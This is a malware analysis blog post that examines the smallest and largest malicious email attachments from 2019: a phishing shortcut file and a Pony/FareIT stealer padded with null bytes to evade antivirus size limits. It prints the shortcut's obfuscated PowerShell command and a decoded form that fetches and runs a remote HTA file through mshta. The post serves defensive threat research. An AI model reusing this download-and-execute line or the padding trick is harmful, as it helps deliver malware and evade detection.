Although less than two days have gone by since the latest release of MSFT patches, I find that it would actually be hard to add anything interesting to them that hasn’t been discussed before, as the most important vulnerabilities (couple of RCEs and an interesting vulnerability in CryptoAPI) seemed to be all anyone talked about for the last 24 hours. If you didn’t hear anything about it, I suggest you take a look at the ISC coverage of the CryptoAPI vulnerability[1] as well as the Patch Tuesday overview[2]. But for the rest of us, I thought today might be a good day to take a short break from this topic and take a look at what the last year brought us instead.

Since 2019 has passed us by, I thought it might be interesting to take a look at the malicious files, which it left in my e-mail quarantine. Specifically, I thought it might be worthwhile to try to determine which of the malicious files was the smallest and which the largest as these might provide us with good example of how two extreme cases of malware might have looked in 2019. The assumption was that one would probably be very simple and the other one very complex.

I started out with a little over 650 files, mostly of the usual malspam types. After unpacking all of the archives (by the way, let me know if anyone still uses the ACE format), IMGs, ISOs, etc., I was left with plenty of Office documents, PDFs, different varieties of scripts, and – of course – executables. Most of these were left with the default EXE extension, however there were couple SCRs and COMs in the mix as well. There were plenty of other file types as well – for example a couple of LNKs, one of which tried to look like a RTF file and the other like a PNG file.

The latter file turned out to be the smallest of the bunch. It was originally packed within an archive (777 bytes long ZIP file titled PO.pdf.zip), which was attached to a phishing e-mail from the end of October. At 2,296 bytes, it was no larger than any normal LNK. Correspondingly, it wasn’t overly complex – the target of the shortcut was set to the following string.

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $pvs=[string][char[]]@(0x68,0x74,0x74,0x70,0x73) -replace ' ','';$mja=[string][char[]]@(0x6d,0x73,0x68,0x74,0x61) -replace ' ','';sal yc $mja;$pvs+='://fajr.com/out-1870541522.hta';yc $pvs

After removing the elementary obfuscation, this comes down to the following result.

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe mshta https://fajr.com/out-1870541522.hta

As we may see, the LNK was just a simple downloader for a HTA file, which it was supposed to execute. So far, the assumption of positive correlation between size and complexity of the malware attachments held true.

Where things got interesting was the hunt for the largest file. Although there are exceptions, malicious files are only seldom significantly larger than 2 or 3 megabytes. Considering this, I was quite surprised when I sorted the files and found a 74 MB executable (an EXE with .COM extension) at the top.

Since no file among the original attachments was nearly as large as this one, there was only one possible explanation of where it came from. The file had to have been part of one of the archives and it had to have been packed with an extremely good compression ratio enabled by its internal structure. My guess was that the authors of the file included lots of unused uniform space (most likely in the form of null bytes) in the executable in order to make it extremely large and very compressable at the same time. This turned out to be the case as the archive (ZIP with a .R20 extension), in which the file was originally stored, was only 442 kB large.

After taking a closer look at the executable, the theory about null bytes was proven as well. In fact, as the following histogram of byte values in the file demonstrates, almost 99% of the file was nothing but one large segment filled with null bytes intended only to make the file much larger than it needed to be.

I assume that the size of the executable was increased in this way in order to enable it to bypass anti-malware scans. It is customary to configure anti-malware software with a maximum size of files, which it should scan. This is done in order to minimize impact of scans on computing resources and since most malicious files aren’t too large, the fact that scans are only done on smaller files doesn’t usually present much of an issue. In the case of our 74 MB executable, it however means that its size alone might potentially shield it from being scanned and detected on some systems.

This technique is quite imaginative, because since it is very easy to implement, it is a very “cheap” way for malware authors to shield their creation from at least some methods of detection. Although I’m sure the technique has been used before (I found 3 other files which used it among the samples I had available), it is definitely not common.

Due to its inflated size, the executable ended up not being as complex as I have hoped. After further analysis, it turned out that the file, which originally arrived in an e-mail at the beginning of February 2019, was otherwise a normal variant of the Pony/FareIT info stealer.

Although the original idea of showing a very simple and a very complex malware did not pan out, I believe that taking a look at the files wasn’t a total loss since our not-so-complex large file turned out to be interesting in its own right… Additionally, when I saw all of the executables placed in a single folder, I thought it might be a good opportunity to demonstrate one more interesting concept.

It is quite usual for malware authors to use similar naming schemes when it comes to filenames and variables and this may aid us in quickly finding links among different malicious files and campaigns. However, file names aren’t necessarily the only visual indicator we may use to determine links between different malicious files. In some cases, just looking at the icons of the executables may provide us with similar information, as some malicious actors can get quite attached to a single icon design or style. The following icons may serve as a good example since, although they are all different, the similarities are so notable that one can reasonably assume that they were created by the same author or were part of the same campaign. Which is true – all the executables were part of a malspam campaign active during February and March 2019.

While the similarity in icon designs isn’t always so striking, and it usually doesn’t provide us with a definitive link between files (it may only mean that the files were created use the same SW), it can sometimes be a useful indicator that multiple files are in some way related even though their names might not appear similar.

PO.png.lnk
MD5 – 687ab70423fe0ab87522715e817a7095
SHA1 – 7879e064f00ec3a23185bd09221fdd94b08e52ef

DHL_shipping Doc.com
MD5 – 7e6fbf419a902b5880c04969082a8b3f
SHA1 – c19b040f995ec7a23af971d6c07db53fc5b0e911

[1] https://isc.sans.edu/forums/diary/CVE20200601+Followup/25714/
[2] https://isc.sans.edu/forums/diary/Microsoft+Patch+Tuesday+for+January+2020/25710/

-----------
Jan Kopriva
@jk0pr
Alef Nula